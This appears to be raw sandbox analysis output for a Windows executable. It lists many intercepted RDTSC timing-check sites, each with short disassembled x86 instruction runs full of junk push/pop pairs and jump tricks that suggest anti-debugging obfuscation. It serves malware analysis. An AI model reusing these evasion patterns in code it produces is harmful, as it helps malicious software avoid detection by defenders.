Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1413B second address: E1415A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F286071A1C8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A046 second address: E1A04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A04D second address: E1A09C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D32C9h], ecx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F286071A1B8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e xor dword ptr [ebp+122D1B09h], ebx 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D1AEFh], edx 0x0000003c push eax 0x0000003d je 00007F286071A1D2h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16302 second address: E16306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16306 second address: E1630C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1630C second address: E16312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16312 second address: E16316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B004 second address: E1B008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B008 second address: E1B016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F286071A1B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E151A0 second address: E1524F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F28606BF772h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F28606BF768h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 sub edi, dword ptr [ebp+1246670Eh] 0x0000002e jmp 00007F28606BF770h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a sub edi, 7B34B97Fh 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 movsx edi, bx 0x0000004a mov edi, dword ptr [ebp+122D1B78h] 0x00000050 mov eax, dword ptr [ebp+122D0369h] 0x00000056 add dword ptr [ebp+12456A86h], edi 0x0000005c push FFFFFFFFh 0x0000005e jo 00007F28606BF76Ch 0x00000064 xor ebx, 1F9DBF98h 0x0000006a nop 0x0000006b jmp 00007F28606BF772h 0x00000070 push eax 0x00000071 pushad 0x00000072 jc 00007F28606BF768h 0x00000078 push ebx 0x00000079 pop ebx 0x0000007a pushad 0x0000007b pushad 0x0000007c popad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A2BA second address: E1A2D0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F286071A1BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B2C3 second address: E1B2CD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B2CD second address: E1B2D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C476 second address: E1C499 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28606BF777h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C499 second address: E1C49D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C49D second address: E1C4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F28606BF778h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C4C1 second address: E1C4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C4C7 second address: E1C4CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1ED47 second address: E1ED4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E203DD second address: E203E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E203E2 second address: E203EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB743C second address: DB7495 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F28606BF76Eh 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007F28606BF779h 0x00000012 jmp 00007F28606BF774h 0x00000017 jmp 00007F28606BF771h 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A8C5 second address: E2A8C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31557 second address: E3155D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3155D second address: E31561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3080D second address: E30814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30814 second address: E3081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3098B second address: E309BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF770h 0x00000007 jmp 00007F28606BF772h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F28606BF76Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E309BE second address: E309E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F286071A1CFh 0x00000008 jmp 00007F286071A1C9h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30B36 second address: E30B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F28606BF766h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30B43 second address: E30B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30B4B second address: E30B57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30B57 second address: E30B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30C8D second address: E30C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30DF1 second address: E30DFB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F286071A1BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30F37 second address: E30F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F28606BF76Dh 0x0000000b popad 0x0000000c jl 00007F28606BF772h 0x00000012 jp 00007F28606BF766h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3108D second address: E31098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F286071A1B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31098 second address: E310D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F28606BF766h 0x0000000a jmp 00007F28606BF770h 0x0000000f popad 0x00000010 jmp 00007F28606BF76Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F28606BF773h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31257 second address: E312A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007F286071A1B6h 0x0000000e jmp 00007F286071A1C3h 0x00000013 jmp 00007F286071A1BEh 0x00000018 popad 0x00000019 pop ecx 0x0000001a jc 00007F286071A1DFh 0x00000020 jmp 00007F286071A1BFh 0x00000025 push eax 0x00000026 push edx 0x00000027 jns 00007F286071A1B6h 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32C36 second address: E32C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F28606BF768h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F28606BF76Dh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F28606BF76Eh 0x0000001b jne 00007F28606BF766h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38234 second address: E38239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37486 second address: E3748A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3748A second address: E374AB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F286071A1B6h 0x00000008 jmp 00007F286071A1C7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E374AB second address: E374B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36BE6 second address: E36BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36BEA second address: E36BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36BEE second address: E36C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F286071A1BDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36C01 second address: E36C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36C06 second address: E36C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36C15 second address: E36C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF772h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36C2D second address: E36C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F286071A1B8h 0x0000000b pushad 0x0000000c jo 00007F286071A1B6h 0x00000012 jmp 00007F286071A1C6h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3791F second address: E37923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37923 second address: E37929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37929 second address: E3792E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37A96 second address: E37A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37A9A second address: E37ACC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF773h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F28606BF779h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37ACC second address: E37AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37AF0 second address: E37AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F1F second address: E37F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F29 second address: E37F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F2D second address: E37F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F286071A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F3C second address: E37F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF773h 0x00000009 jnl 00007F28606BF766h 0x0000000f jng 00007F28606BF766h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F60 second address: E37F72 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F286071A1B8h 0x00000008 jnp 00007F286071A1BEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F72 second address: E37F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F28606BF766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37F85 second address: E37F8B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4A43 second address: DC4A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CB9A second address: E3CBB4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F286071A1B6h 0x00000008 jg 00007F286071A1B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F286071A1B6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410CA second address: E410CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410CE second address: E410D8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F286071A1B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410D8 second address: E410E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410E2 second address: E410E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410E6 second address: E410F6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410F6 second address: E41110 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F286071A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 jl 00007F286071A1BCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4002D second address: E40068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c je 00007F28606BF766h 0x00000012 jo 00007F28606BF766h 0x00000018 jnl 00007F28606BF766h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 jnl 00007F28606BF766h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40068 second address: E40074 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F286071A1B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40074 second address: E40079 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01A57 second address: E01A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01A6B second address: E01A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F28606BF766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01ED2 second address: E01ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02238 second address: E0223C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E029CF second address: E029DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F286071A1BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E029DD second address: E02A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F28606BF76Eh 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F28606BF776h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02A0E second address: E02A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02A14 second address: E02A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02B0E second address: E02B18 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F286071A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02B18 second address: E02B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28606BF770h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02B2C second address: DE7A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F286071A1BBh 0x00000015 popad 0x00000016 pop ebx 0x00000017 nop 0x00000018 mov edi, eax 0x0000001a call dword ptr [ebp+122D2914h] 0x00000020 pushad 0x00000021 jo 00007F286071A1BEh 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7A28 second address: DE7A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E402FF second address: E40334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jng 00007F286071A1B6h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F286071A1C2h 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F286071A1B6h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40334 second address: E4033A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40482 second address: E404AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F286071A1C5h 0x00000012 jnl 00007F286071A1B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E404AA second address: E404AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40627 second address: E4063E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F286071A1C1h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4063E second address: E40642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E407B0 second address: E407B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E407B4 second address: E407C6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F28606BF76Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
